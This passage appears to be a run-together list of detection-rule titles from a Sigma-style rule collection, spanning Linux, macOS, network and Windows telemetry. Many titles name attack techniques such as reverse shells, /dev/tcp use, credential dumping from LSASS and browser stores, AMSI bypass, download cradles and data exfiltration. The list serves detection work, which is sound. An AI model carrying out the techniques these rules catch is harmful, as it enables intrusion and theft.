Modification Suspicious Log Entries Suspicious Use of /dev/tcp Modifying Crontab SSHD Error Message CVE-2018-15473 Suspicious OpenSSH Daemon Error Disabling Security Tools - Builtin Persistence Via Sudoers Files Suspicious VSFTPD Error Messages Persistence Via Cron Files Wget Creating Files in Tmp Directory Linux Doas Conf File Creation Shell Invocation via Apt - Linux Linux Base64 Encoded Pipe to Shell BPFtrace Unsafe Option Usage Enable BPF Kprobes Tracing Remove Immutable File Attribute Linux Base64 Encoded Shebang In CLI Clear Linux Logs Cat Sudoers Remove Scheduled Cron Task/Job Potential Linux Process Code Injection Via DD Utility Ufw Force Stop Using Ufw-Init ESXi Network Configuration Discovery Via ESXCLI ESXi Storage Information Discovery Via ESXCLI ESXi Syslog Configuration Change Via ESXCLI ESXi System Information Discovery Via ESXCLI ESXi Account Creation Via ESXCLI ESXi VM List Discovery Via ESXCLI ESXi VM Kill Via ESXCLI ESXi VSAN Information Discovery Via ESXCLI Group Has Been Deleted Via Groupdel Suspicious Package Installed - Linux Flush Iptables Ufw Chain Potentially Suspicious Named Pipe Created Via Mkfifo Mount Execution With Hidepid Parameter Nohup Execution Pnscan Binary Data Transmission Activity Python Spawning Pretty TTY Via PTY Module Potential Ruby Reverse Shell Scheduled Cron Task/Job - Linux Disabling Security Tools Disable Or Stop Services Potential Linux Amazon SSM Agent Hijacking Chmod Suspicious Directory Suspicious Curl File Upload - Linux Suspicious Curl Change User Agents - Linux Potential Discovery Activity Using Find - Linux Suspicious Git Clone - Linux Print History File Contents Interactive Bash Suspicious Children Linux Shell Pipe to Shell Potential Suspicious Change To Sensitive/Critical Files Execution Of Script Located In Potentially Suspicious Directory Touch Suspicious Service File User Has Been Deleted Via Userdel User Added To Root/Sudoers Group Using Usermod Download File To Potentially Suspicious Directory Via Wget Potential Xterm Reverse Shell MacOS Emond Launch Daemon MacOS Scripting Interpreter AppleScript File Time Attribute Change Hidden Flag Set On File/Directory Via Chflags - MacOS Indicator Removal on Host - Clear Mac System Logs Hidden User Creation Credentials from Password Stores - Keychain System Integrity Protection (SIP) Disabled Disable Security Tools User Added To Admin Group Via Dscl User Added To Admin Group Via DseditGroup Root Account Enable Via Dsenableroot Disk Image Creation Via Hdiutil - MacOS Disk Image Mounting Via Hdiutil - MacOS Suspicious Installer Package Child Process System Information Discovery Using Ioreg JAMF MDM Potential Suspicious Child Process Launch Agent/Daemon Execution Via Launchctl File Download Via Nscurl - MacOS Payload Decoded and Decrypted via Built-in Utilities Scheduled Cron Task/Job - MacOs Security Software Discovery - MacOs Osacompile Execution By Potentially Suspicious Applet/Osascript Suspicious Browser Child Process - MacOS Suspicious Execution via macOS Script Editor Potential Discovery Activity Using Find - MacOS Suspicious History File Operations Potential In-Memory Download And Compile Of Payloads Suspicious MacOS Firmware Activity System Information Discovery Using sw_vers User Added To Admin Group Via Sysadminctl System Information Discovery Via Sysctl - MacOS System Information Discovery Using System_Profiler Time Machine Backup Deletion Attempt Via Tmutil - MacOS Time Machine Backup Disabled Via Tmutil - MacOS New File Exclusion Added To Time Machine Via Tmutil - MacOS Potential XCSSET Malware Infection Cisco Denial of Service Cisco File Deletion Cisco Show Commands Input Cisco Modify Configuration Cisco Sniffing Suspicious DNS Query with B64 Encoded String Telegram Bot API Request MITRE BZAR Indicators for Execution MITRE BZAR Indicators for Persistence Potential PetitPotam Attack Via EFS RPC Calls Possible PrintNightmare Print Driver Install SMB Spoolss Name Piped Usage Suspicious DNS Z Flag Bit Set DNS TOR Proxies Executable from Webdav Remote Task Creation via ATSVC Named Pipe - Zeek Suspicious Access to Sensitive File Extensions - Zeek Transferring Files with Credential Data via Network Shares - Zeek Kerberos Network Traffic RC4 Ticket Encryption Apache Threading Error Download from Suspicious Dyndns Hosts F5 BIG-IP iControl Rest API Command Execution - Proxy PUA - Advanced IP/Port Scanner Update Check Telegram API Access Suspicious Base64 Encoded User-Agent HTTP Request With Empty User Agent Windows PowerShell User Agent Rclone Activity via Proxy Potential Base64 Encoded User-Agent F5 BIG-IP iControl Rest API Command Execution - Webserver Successful IIS Shortname Fuzzing Scan Path Traversal Exploitation Attempts Source Code Enumeration Detection by Keyword Suspicious User-Agents Related To Recon Tools Ntdsutil Abuse Dump Ntds.dit To Suspicious Location Backup Catalog Deleted MSI Installation From Suspicious Locations MSI Installation From Web MSSQL Server Failed Logon From External Network File Was Not Allowed To Run Deployment AppX Package Was Blocked By AppLocker Potential Malicious AppX Package Installation Attempts Deployment Of The AppX Package Was Blocked By The Policy Suspicious AppX Package Installation Attempt Uncommon AppX Package Locations Suspicious Digital Signature Of AppX Package BITS Transfer Job Downloading File Potential Suspicious Extension BITS Transfer Job With Uncommon Or Suspicious Remote TLD Certificate Private Key Acquired Certificate Exported From Local Certificate Store DNS Query To MEGA Hosting Website - DNS Client DNS Query To Put.io - DNS Client Failed DNS Zone Transfer Uncommon New Firewall Rule Added In Windows Firewall Exception List New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE A Rule Has Been Deleted From The Windows Firewall Exception List ETW Logging/Processing Option Disabled On IIS Server New Module Module Added To IIS Server Potential Active Directory Reconnaissance/Enumeration Via LDAP Standard User In High Privileged Group MSExchange Transport Agent Installation - Builtin NTLM Brute Force Potential Remote Desktop Connection to Non-Domain Host OpenSSH Server Listening On Socket Azure AD Health Monitoring Agent Registry Keys Access Azure AD Health Service Agents Registry Keys Access Potential AD User Enumeration From Non-Machine Account Remote Task Creation via ATSVC Named Pipe Processes Accessing the Microphone and Webcam DCERPC SMB Spoolss Named Pipe Device Installation Blocked DPAPI Domain Master Key Backup Attempt Invoke-Obfuscation COMPRESS OBFUSCATION - Security Invoke-Obfuscation RUNDLL LAUNCHER - Security ISO Image Mounted Kerberoasting Activity - Initial Query LSASS Access From Non System Account Windows Network Access Suspicious desktop.ini Action New or Renamed User Account with '$' Character Denied Access To Remote Desktop Password Policy Enumerated Windows Pcap Drivers Possible DC Shadow Attack SCM Database Handle Failure SCM Database Privileged Operation Potential Secure Deletion with SDelete Remote Access Tool Services Have Been Installed - Security A New Trust Was Created To A Domain Addition of SID History to Active Directory Object Account Tampering - Suspicious Failed Logon Reasons Group Policy Abuse for Privilege Addition Startup/Logon Script Added to Group Policy Object Suspicious Remote Logon with Explicit Credentials Potentially Suspicious AccessMask Requested From LSASS Password Protected ZIP File Opened Uncommon Outbound Kerberos Connection - Security Suspicious Access to Sensitive File Extensions Suspicious Kerberos RC4 Ticket Encryption Remote Service Activity via SVCCTL Named Pipe Transferring Files with Credential Data via Network Shares User Added to Local Administrator Group Potential Privileged System Service Operation - SeLoadDriverPrivilege Windows Defender Exclusion List Modified Windows Defender Exclusion Deleted WMI Persistence - Security Windows Defender Exclusion Registry Key - Write Access Requested Potential Access Token Abuse External Remote RDP Logon from Public IP Pass the Hash Activity 2 Failed Logon From Public IP Suspicious Application Installed Suspicious Rejected SMB Guest Logon From IP NTLMv1 Logon Between Client and Server Potential CVE-2021-42287 Exploitation Attempt Eventlog Cleared Certificate Use With No Strong Mapping Windows Defender Threat Detection Service Disabled Invoke-Obfuscation COMPRESS OBFUSCATION - System Invoke-Obfuscation RUNDLL LAUNCHER - System Anydesk Remote Access Software Service Installation CSExec Service Installation Mesh Agent Service Installation NetSupport Manager Service Install PAExec Service Installation New PDQDeploy Service - Server Side New PDQDeploy Service - Client Side RemCom Service Installation Remote Access Tool Services Have Been Installed - System Remote Utilities Host Service Install PsExec Service Installation Tap Driver Installation TacticalRMM Service Installation Uncommon Service Installation Image Path Service Installation in Suspicious Folder Potential RDP Exploit CVE-2019-0708 Scheduled Task Executed From A Suspicious Location Scheduled Task Executed Uncommon LOLBIN Windows Defender Exclusions Added Windows Defender Real-Time Protection Failure/Restart WMI Persistence Remote Thread Creation Via PowerShell In Uncommon Target Remote Thread Created In Shell Application Remote Thread Creation By Uncommon Source Image Remote Thread Creation In Uncommon Target Image Creation Of a Suspicious ADS File Outside a Browser Download Hidden Executable In NTFS Alternate Data Stream Unusual File Download From File Sharing Websites - File Stream AppX Package Installation Attempts Via AppInstaller.EXE Cloudflared Tunnels Related DNS Requests DNS Query To Devtunnels Domain DNS Query To AzureWebsites.NET By Non-Browser Process DNS Query To MEGA Hosting Website DNS Query Request By Regsvr32.EXE DNS Query To Remote Access Software Domain From Non-Browser App Suspicious DNS Query for IP Lookup Service APIs TeamViewer Domain Query By Non-TeamViewer Application DNS Query To Visual Studio Code Tunnels Domain PUA - System Informer Driver Load Malicious Driver Load By Name Credential Manager Access By Uncommon Applications Access To Crypto Currency Wallets By Uncommon Applications Access To Windows Credential History File By Uncommon Applications Access To Windows DPAPI Master Keys By Uncommon Applications Access To Potentially Sensitive Sysvol Files By Uncommon Applications Microsoft Teams Sensitive File Access By Uncommon Applications Backup Files Deleted EventLog EVTX File Deleted Process Deletion of Its Own Executable IIS WebServer Access Logs Deleted PowerShell Console History Logs Deleted Tomcat WebServer Logs Deleted File Deleted Via Sysinternals SDelete ADS Zone.Identifier Deleted By Uncommon Application ADSI-Cache File Creation By Uncommon Tool Advanced IP Scanner - File Event Anydesk Temporary Artefact Assembly DLL Creation Via AspNetCompiler EVTX Created In Uncommon Location Creation Of Non-Existent System DLL New Custom Shim Database Created Suspicious Screensaver Binary File Creation Files With System DLL Name In Unsuspected Locations Files With System Process Name In Unsuspected Locations CSExec Service File Creation Potentially Suspicious DMP/HDMP File Creation Potential Persistence Attempt Via ErrorHandler.Cmd Suspicious File Drop by Exchange GoToAssist Temporary Installation Artefact Potential Initial Access via DLL Search Order Hijacking Installation of TeamViewer Desktop ISO or Image Mount Indicator in Recent Files GatherNetworkInfo.VBS Reconnaissance Script Output SCR File Write Event Potential Persistence Via Notepad++ Plugins Office Macro File Download OneNote Attachment File Dropped In Suspicious Location New Outlook Macro Created Publisher Attachment File Dropped In Suspicious Location Suspicious File Created In PerfLogs Potential Binary Or Script Dropper Via PowerShell PowerShell Module File Created By Non-PowerShell Process Potential Suspicious PowerShell Module File Created PSScriptPolicyTest Creation By Uncommon Process Rclone Config File Creation RemCom Service File Creation ScreenConnect Temporary Installation Artefact Self Extraction Directive File Created In Potentially Suspicious Location Startup Folder File Write Created Files by Microsoft Sync Center Suspicious Files in Default GPO Folder Suspicious desktop.ini Action Creation of a Diagcab Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream Potential Homoglyph Attack Using Lookalike Characters in Filename Suspicious LNK Double Extension File Created Suspicious PFX File Creation PowerShell Profile Modification Suspicious PROCEXP152.sys File Created In TMP Drop Binaries Into Spool Drivers Color Folder TeamViewer Remote Session VsCode Powershell Profile Modification Windows Terminal Profile Settings Modification By Uncommon Process WinSxS Executable File Creation By Non-System Process LiveKD Driver Creation Process Monitor Driver Creation By Non-Sysinternals Binary Creation of WerFault.exe/Wer.dll in Unusual Folder VHD Image Download Via Browser Visual Studio Code Tunnel Remote File Creation Potential Webshell Creation On Static Website AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File Writing Local Admin Share Potentially Suspicious Self Extraction Directive File Created Suspicious Appended Extension Amsi.DLL Loaded Via LOLBIN Process CredUI.DLL Loaded By Uncommon Process PowerShell Core DLL Loaded By Non PowerShell Process Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load Unsigned Image Loaded Into LSASS Process CLR DLL Loaded Via Office Applications DotNET Assembly DLL Loaded Via Office Application Active Directory Parsing DLL Loaded Via Office Application Microsoft Excel Add-In Loaded From Uncommon Location Active Directory Kerberos DLL Loaded Via Office Application Microsoft VBA For Outlook Addin Loaded Via Outlook PowerShell Core DLL Loaded Via Office Application Remote DLL Load Via Rundll32.EXE WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load Potential Antivirus Software DLL Sideloading Potential AVKkid.DLL Sideloading Potential CCleanerDU.DLL Sideloading Potential CCleanerReactivator.DLL Sideloading Potential Chrome Frame Helper DLL Sideloading Potential DLL Sideloading Via ClassicExplorer32.dll Potential DLL Sideloading Using Coregen.exe Potential DLL Sideloading Of DBGCORE.DLL System Control Panel Item Loaded From Uncommon Location Potential DLL Sideloading Of DBGHELP.DLL Potential DLL Sideloading Of DbgModel.DLL Potential Goopdate.DLL Sideloading Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE Potential DLL Sideloading Via JsSchHlp Potential Libvlc.DLL Sideloading Potential Mfdetours.DLL Sideloading Potential DLL Sideloading Of MpSvc.DLL Potential DLL Sideloading Of MsCorSvc.DLL Potential Python DLL SideLoading Potential RjvPlatform.DLL Sideloading From Default Location Potential RoboForm.DLL Sideloading Potential ShellDispatch.DLL Sideloading Potential SolidPDFCreator.DLL Sideloading Third Party Software DLL Sideloading Potential Vivaldi_elf.DLL Sideloading VMGuestLib DLL Sideload VMMap Signed Dbghelp.DLL Potential Sideloading Potential Wazuh Security Platform DLL Sideloading Potential WWlib.DLL Sideloading Unsigned Module Loaded by ClickOnce Application DLL Load By System Process From Suspicious Locations Python Image Load By Non-Python Process Unsigned DLL Loaded by Windows Utility WMIC Loading Scripting Libraries Suspicious WSMAN Provider Image Loads Uncommon Connection to Active Directory Web Services Network Connection Initiated To AzureWebsites.NET By Non-Browser Process Network Connection Initiated To BTunnels Domains Network Connection Initiated To Cloudflared Tunnels Domains Network Connection Initiated To DevTunnels Domain Suspicious Network Connection to IP Lookup Service APIs Suspicious Non-Browser Network Communication With Google API Network Communication Initiated To Portmap.IO Domain Suspicious Non-Browser Network Communication With Telegram API Network Connection Initiated To Visual Studio Code Tunnels Domain Office Application Initiated Network Connection To Non-Local IP Office Application Initiated Network Connection Over Uncommon Ports Python Initiated Connection RegAsm.EXE Initiating Network Connection To Public IP Remote Access Tool - AnyDesk Incoming Connection Network Connection Initiated By Regsvr32.EXE Microsoft Sync Center Suspicious Network Connections Rundll32 Internet Connection Uncommon Outbound Kerberos Connection Communication To Uncommon Destination Ports Outbound Network Connection To Public IP Via Winlogon Suspicious Outbound SMTP Connections ADFS Database Named Pipe Connection By Uncommon Tool Suspicious Wordpad Outbound Connections Potentially Suspicious Wuauclt Network Connection Local Network Connection Initiated By Script Interpreter Alternate PowerShell Hosts Pipe PUA - CSExec Default Named Pipe PUA - PAExec Default Named Pipe PUA - RemCom Default Named Pipe WMI Event Consumer Created Named Pipe Nslookup PowerShell Download Cradle PsExec Tool Execution From Suspicious Locations - PipeName PowerShell Downgrade Attack - PowerShell Netcat The Powershell Version Suspicious PowerShell Download Zip A Folder With PowerShell For Staging In Temp - PowerShell Suspicious Non PowerShell WSMAN COM Provider Potential Active Directory Enumeration Using AD Module - PsModule Alternate PowerShell Hosts - PowerShell Module Clear PowerShell History - PowerShell Module PowerShell Get Clipboard Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module Suspicious PowerShell Download - PoshModule Suspicious Computer Machine Password by PowerShell Zip A Folder With PowerShell For Staging In Temp - PowerShell Module SyncAppvPublishingServer Bypass Powershell Restriction - PS Module Access to Browser Login Data Potential Active Directory Enumeration Using AD Module - PsScript Add Windows Capability Via PowerShell Script Potential AMSI Bypass Script Using NULL Bits Get-ADUser Enumeration Using UserAccountControl Flags Potential Data Exfiltration Via Audio File Automated Collection Command PowerShell Windows Screen Capture with CopyFromScreen Clear PowerShell History - PowerShell Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell Powershell Create Scheduled Task Registry-Free Process Scope COR_PROFILER PowerShell Create Local User Powershell Detect Virtualization Environment DirectorySearcher Powershell Exploitation Manipulation of User Computer or Group Security Principals Across AD Potential In-Memory Execution Using Reflection.Assembly Potential COM Objects Download Cradles Usage - PS Script Dump Credentials from Windows Credential Manager With PowerShell Enable Windows Remote Management Potential Suspicious Windows Feature Enabled Enumerate Credentials from Windows Credential Manager With PowerShell Suspicious PowerShell Mailbox SMTP Forward Rule Certificate Exported Via PowerShell - ScriptBlock Suspicious FromBase64String Usage On Gzip Archive - Ps Script Service Registry Permissions Weakness Check Suspicious Get-ADReplAccount Security Software Discovery Via Powershell Script PowerShell Hotfix Enumeration PowerShell ICMP Exfiltration Import PowerShell Modules From Suspicious Directories Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript Execute Invoke-command on Remote Host Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Powershell Keylogging Powershell LocalAccount Manipulation Malicious PowerShell Keywords Modify Group Policy Settings - ScriptBlockLogging Powershell MsXml COM Object Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock PowerShell Remote Session Creation PowerShell Script With File Hostname Resolving Capabilities Root Certificate Installed - PowerShell Suspicious Invoke-Item From Mount-DiskImage Powershell Sensitive File Discovery Change PowerShell Policies to an Insecure Level - PowerShell Detected Windows Software Discovery - PowerShell Powershell Store File In Alternate Data Stream Suspicious Eventlog Clear Powershell Directory Enumeration Suspicious PowerShell Download - Powershell Script Powershell Execute Batch Script Troubleshooting Pack Cmdlet Execution Extracting Information with PowerShell Suspicious GetTypeFromCLSID ShellExecute Suspicious Hyper-V Cmdlets Suspicious IO.FileStream Change User Agents with WebRequest Potential Keylogger Activity Potential Suspicious PowerShell Keywords Powershell Local Email Collection PowerShell Deleted Mounted Share Suspicious New-PSDrive to Admin Share Suspicious TCP Tunnel Via PowerShell Script Recon Information for Export with PowerShell Remove Account From Domain Admin Group Suspicious Start-Process PassThru Suspicious Unblock-File Suspicious PowerShell WindowStyle Option PowerShell Write-EventLog Usage Zip A Folder With PowerShell For Staging In Temp - PowerShell Script SyncAppvPublishingServer Execution to Bypass Powershell Restriction Testing Usage of Uncommonly Used Port Powershell Timestomp User Discovery And Export Via Get-ADUser Cmdlet - PowerShell Potential Persistence Via PowerShell User Profile Using Add-Content Usage Of Web Request Commands And Cmdlets - ScriptBlock Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript PowerShell WMI Win32_Product Install MSI Windows Firewall Profile Disabled Winlogon Helper DLL Windows Defender Exclusions Added - PowerShell Powershell WMI Persistence WMIC Unquoted Services Path Lookup - PowerShell Suspicious X509Enrollment - Ps Script Powershell XML Execute Command Potential Credential Dumping Activity Via LSASS Potentially Suspicious GrantedAccess Flags On LSASS Potential Direct Syscall of NtOpenProcess Function Call From Undocumented COM Interface EditionUpgradeManager Compress Data and Lock With Password for Exfiltration With 7-ZIP 7Zip Compressing Dump Files Potential DLL Injection Via AccCheckConsole Uncommon Child Process Of AddinUtil.EXE Uncommon AddinUtil.EXE CommandLine Execution AddinUtil.EXE Execution From Uncommon Directory AgentExecutor PowerShell Execution Uncommon Child Process Of Appvlp.EXE AspNetCompiler Execution Uncommon Assistive Technology Applications Execution Via AtBroker.EXE Hiding Files with Attrib.exe Indirect Inline Command Execution Via Bash.EXE Indirect Command Execution From Script File Via Bash.EXE Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE Data Export From MSSQL Table Via BCP.EXE Uncommon Child Process Of BgInfo.EXE File Download Via Bitsadmin File Download Via Bitsadmin To An Uncommon Target Folder Monitoring For Persistence Via BITS Browser Execution In Headless Mode Chromium Browser Instance Executed With Custom Extension File Download From Browser Process Via Inline URL Browser Started with Remote Debugging Potential Binary Proxy Execution Via Cdb.EXE New Root Certificate Installed Via CertMgr.EXE File Download via CertOC.EXE DLL Loaded via CertOC.EXE New Root Certificate Installed Via Certutil.EXE File Decoded From Base64/Hex Via Certutil.EXE Suspicious Download Via Certutil.EXE File Encoded To Base64 Via Certutil.EXE Certificate Exported Via Certutil.EXE Suspicious CodePage Switch Via CHCP Console CodePage Lookup Via CHCP Deleted Data Overwritten Via Cipher.EXE Cloudflared Portable Execution Cloudflared Quick Tunnel Execution Cloudflared Tunnel Connections Cleanup Cloudflared Tunnel Execution New Generic Credentials Added Via Cmdkey.EXE Potential Arbitrary File Download Via Cmdl32.EXE Greedy File Deletion Using Del Potential Dosfuscation Activity Command Line Execution with Suspicious URL and AppData Strings Potentially Suspicious Ping/Copy Command Combination Potentially Suspicious CMD Shell Output Redirect Read Contents From Stdin Via Cmd.EXE Potential Download/Upload Activity Using Type Command Unusual Parent Process For Cmd.EXE Arbitrary File Download Via ConfigSecurityPolicy.EXE Powershell Executed From Headless ConHost Process Uncommon Child Process Of Conhost.EXE Conhost Spawned By Uncommon Parent Process Dynamic .NET Compilation Via Csc.EXE Suspicious Csi.exe Usage Active Directory Structure Export Via Csvde.EXE Potential Cookies Session Hijacking Curl Web Request With Potential Custom User-Agent File Download From IP URL Via Curl.EXE Insecure Transfer Via Curl.EXE Insecure Proxy/DOH Transfer Via Curl.EXE Local File Read Using Curl.EXE Uncommon Child Process Of Defaultpack.EXE Remote File Download Via Desktopimgdownldr Utility Potential DLL Sideloading Via DeviceEnroller.EXE Potentially Suspicious Child Process Of ClickOnce Application Arbitrary MSI Download Via Devinit.EXE Potentially Suspicious Child Process Of DiskShadow.EXE Diskshadow Script Mode - Uncommon Script Extension Execution Diskshadow Script Mode - Execution From Potential Suspicious Location Dism Remove Online Package Potential Discovery Activity Via Dnscmd.EXE Potential Application Whitelisting Bypass via Dnx.EXE Process Memory Dump Via Dotnet-Dump Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE Binary Proxy Execution Via Dotnet-Trace.EXE DriverQuery.EXE Execution Potentially Over Permissive Permissions Granted Using Dsacls.EXE Potential Password Spraying Attempt Using Dsacls.EXE Domain Trust Discovery Via Dsquery DumpMinitool Execution New Capture Session Launched Via DXCap.EXE Esentutl Gather Credentials Esentutl Steals Browser Information Potentially Suspicious Cabinet File Expansion Explorer Process Tree Break Remote File Download Via Findstr.EXE Findstr Launching .lnk File Recon Command Output Piped To Findstr.EXE Permission Misconfiguration Reconnaissance Via Findstr.EXE Security Tools Keyword Lookup Via Findstr.EXE Filter Driver Unloaded Via Fltmc.EXE Forfiles Command Execution Use of FSharp Interpreters Fsutil Behavior Set SymlinkEvaluation Potential Arbitrary Command Execution Via FTP.EXE Arbitrary File Download Via GfxDownloadWrapper.EXE Suspicious Git Clone File Decryption Using Gpg4win File Encryption Using Gpg4win Portable Gpg.EXE Execution Arbitrary Binary Execution Using GUP Utility Gpresult Display Group Policy Information HackTool - WinRM Access Via Evil-WinRM HackTool - Impersonate Execution Invoke-Obfuscation COMPRESS OBFUSCATION HackTool - Jlaive In-Memory Assembly Execution HackTool - LaZagne Execution HackTool - SharpLDAPmonitor Execution Suspicious ZipExec Execution Potential Fake Instance Of Hxtsr.EXE Executed Use Icacls to Hide File to Everyone IIS Native-Code Module Command Line Installation Suspicious IIS URL GlobalRules Rewrite Via AppCmd C# IL Code Compilation Via Ilasm.EXE InfDefaultInstall.exe .inf Execution File Download Via InstallUtil.EXE Suspicious Execution of InstallUtil Without Log Java Running with Remote Debugging Shell Process Spawned by Java.EXE Suspicious SysAidServer Child Windows Kernel Debugger Execution Computer Password Change Via Ksetup.EXE Potentially Suspicious Child Process of KeyScrambler.exe Active Directory Structure Export Via Ldifde.EXE Logged-On User Password Change Via Ksetup.EXE Import LDAP Data Interchange Format File Via Ldifde.EXE Uncommon Link.EXE Parent Process Rebuild Performance Counter Values Via Lodctr.EXE Suspicious CustomShellHost Execution LOLBAS Data Exfiltration by DataSvcUtil.exe DeviceCredentialDeployment Execution Suspicious Diantz Alternate Data Stream Execution Suspicious Diantz Download and Compress Into a CAB File Suspicious Extrac32 Execution Suspicious Extrac32 Alternate Data Stream Execution Potential Reconnaissance Activity Via GatherNetworkInfo.VBS Gpscript Execution Ie4uinit Lolbin Use From Invalid Path Launch-VsDevShell.PS1 Proxy Execution Execute Files with Msdeploy.exe Use of OpenConsole Use of Pcalua For Execution Code Execution via Pcwutl.dll Execute Code with Pester.bat as Parent Execute Code with Pester.bat Pubprn.vbs Proxy Execution DLL Execution via Rasautou.exe REGISTER_APP.VBS Proxy Execution Use of Remote.exe Replace.exe Usage Lolbin Runexehelper Use As Proxy Suspicious Runscripthelper.exe Use of Scriptrunner.exe Use Of The SFTP.EXE Binary As A LOLBIN Suspicious Driver Install by pnputil.exe Dumping Process via Sqldumper.exe SyncAppvPublishingServer Execute Arbitrary PowerShell Code SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code Potential DLL Injection Or Execution Using Tracker.exe Use of TTDInject.exe Lolbin Unregmp2.exe Use As Proxy UtilityFunctions.ps1 Proxy Dll Use of VisualUiaVerifyNative.exe Use of VSIISExeLauncher.exe Use of Wfc.exe Potential Register_App.Vbs LOLScript Abuse Potential Mftrace.EXE Abuse CodePage Modification Via MODE.COM To Russian Language Suspicious Msbuild Execution By Uncommon Parent Process Suspicious Cabinet File Execution Via Msdt.EXE Arbitrary File Download Via MSEDGE_PROXY.EXE Wscript Shell Run In CommandLine DllUnregisterServer Function Call Via Msiexec.EXE Suspicious MsiExec Embedding Parent Suspicious Msiexec Execute Arbitrary DLL Msiexec Quiet Installation Suspicious Msiexec Quiet Install From Remote Location MsiExec Web Install Arbitrary File Download Via MSOHTMED.EXE Arbitrary File Download Via MSPUB.EXE Detection of PowerShell Execution via Sqlps.exe SQL Client Tools PowerShell Session Detection New Remote Desktop Connection Initiated Via Mstsc.EXE Msxsl.EXE Execution New Firewall Rule Added Via Netsh.EXE Firewall Rule Deleted Via Netsh.EXE Firewall Disabled via Netsh.EXE Netsh Allow Group Policy on Microsoft Defender Firewall Firewall Rule Update Via Netsh.EXE Potential Persistence Via Netsh Helper DLL New Network Trace Capture Started Via Netsh.EXE New Port Forwarding Rule Added Via Netsh.EXE Harvesting Of Wifi Credentials Via Netsh.EXE Suspicious Group And Account Reconnaissance Activity Using Net.EXE New User Created Via Net.EXE Windows Admin Share Mount Via Net.EXE Password Provided In Command Line Of Net.EXE Potential Recon Activity Via Nltest.EXE Node Process Executions Nslookup PowerShell Download Cradle - ProcessCreation Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe) Invocation of Active Directory Diagnostic Tool (ntdsutil.exe) Driver/DLL Installation Via Odbcconf.EXE New DLL Registered Via Odbcconf.EXE Response File Execution Via Odbcconf.EXE Uncommon Child Process Spawned By Odbcconf.EXE Potential Arbitrary DLL Load Using Winword Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution PDQ Deploy Remote Adminstartion Tool Execution Potentially Suspicious Execution Of PDQDeployRunner Perl Inline Command Execution Php Inline Command Execution PktMon.EXE Execution Suspicious Powercfg Execution To Change Lock Screen Timeout Potential Active Directory Enumeration Using AD Module - ProcCreation Add Windows Capability Via PowerShell Cmdlet Potential AMSI Bypass Using NULL Bits Audio Capture via PowerShell Potential Process Execution Proxy Via CL_Invocation.ps1 Assembly Loading Via CL_LoadAssembly.ps1 Potential Script Proxy Execution Via CL_Mutexverifiers.ps1 ConvertTo-SecureString Cmdlet Usage Via CommandLine Computer Discovery And Export Via Get-ADComputer Cmdlet Gzip Archive Decode Via PowerShell Powershell Defender Exclusion Windows Firewall Disabled via PowerShell Potential PowerShell Downgrade Attack Potential COM Objects Download Cradles Usage - Process Creation PowerShell Web Download Potential DLL File Download Via PowerShell Invoke-WebRequest PowerShell Download Pattern Potential Suspicious Windows Feature Enabled - ProcCreation Suspicious Execution of Powershell with Base64 Powershell Inline Execution From A File Certificate Exported Via PowerShell Suspicious FromBase64String Usage On Gzip Archive - Process Creation Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet PowerShell Get-Clipboard Cmdlet Via CLI Import PowerShell Modules From Suspicious Directories - ProcCreation Unsigned AppX Installation Attempt Using Add-AppxPackage Suspicious PowerShell Invocations - Specific - ProcessCreation Suspicious Invoke-WebRequest Execution With DirectIP MSExchange Transport Agent Installation Suspicious PowerShell Invocation From Script Engines Change PowerShell Policies to an Insecure Level Service StartupType Change Via PowerShell Set-Service PowerShell Script Run in AppData User Discovery And Export Via Get-ADUser Cmdlet Suspicious X509Enrollment - Process Creation Suspicious XOR Encoded PowerShell Command Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet Arbitrary File Download Via PresentationHost.EXE XBAP Execution From Uncommon Locations Via PresentationHost.EXE Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution Abusing Print Executable File Download Using ProtocolHandler.exe Potential Provlaunch.EXE Binary Proxy Execution Abuse Screen Capture Activity Via Psr.EXE PUA - AdvancedRun Execution PUA - Advanced IP Scanner Execution PUA - Advanced Port Scanner Execution PUA - Mouse Lock Execution PUA - SoftPerfect Netscan Execution PUA - NirCmd Execution PUA - Nmap/Zenmap Execution PUA - PingCastle Execution PUA - Process Hacker Execution PUA - Radmin Viewer Utility Execution PUA - Potential PE Metadata Tamper Using Rcedit PUA - System Informer Execution PUA - WebBrowserPassView Execution Python Inline Command Execution Potentially Suspicious Usage Of Qemu Query Usage To Exfil Data Suspicious RASdial Activity Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location Imports Registry Key From a File DLL Execution Via Register-cimprovider.exe Enumeration for 3rd Party Creds From CLI Hiding User Account Via SpecialAccounts Registry Key - CommandLine Persistence Via TypedPaths - CommandLine Potential Regsvr32 Commandline Flag Anomaly Potentially Suspicious Regsvr32 HTTP/FTP Pattern Regsvr32 Execution From Potential Suspicious Location Scripting/CommandLine Process Spawned Regsvr32 Regsvr32 DLL Execution With Uncommon Extension Potential Persistence Attempt Via Run Keys Using Reg.EXE Dropping Of Password Filter DLL Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE Potentially Suspicious Desktop Background Change Using Reg.EXE Direct Autorun Keys Modification Windows Recall Feature Enabled Via Reg.EXE Potential Suspicious Registry File Imported Via Reg.EXE Modify Group Policy Settings Suspicious Reg Add Open Command Enumeration for Credentials in Registry Detected Windows Software Discovery Potential Configuration And Service Reconnaissance Via Reg.EXE Suspicious ScreenSave 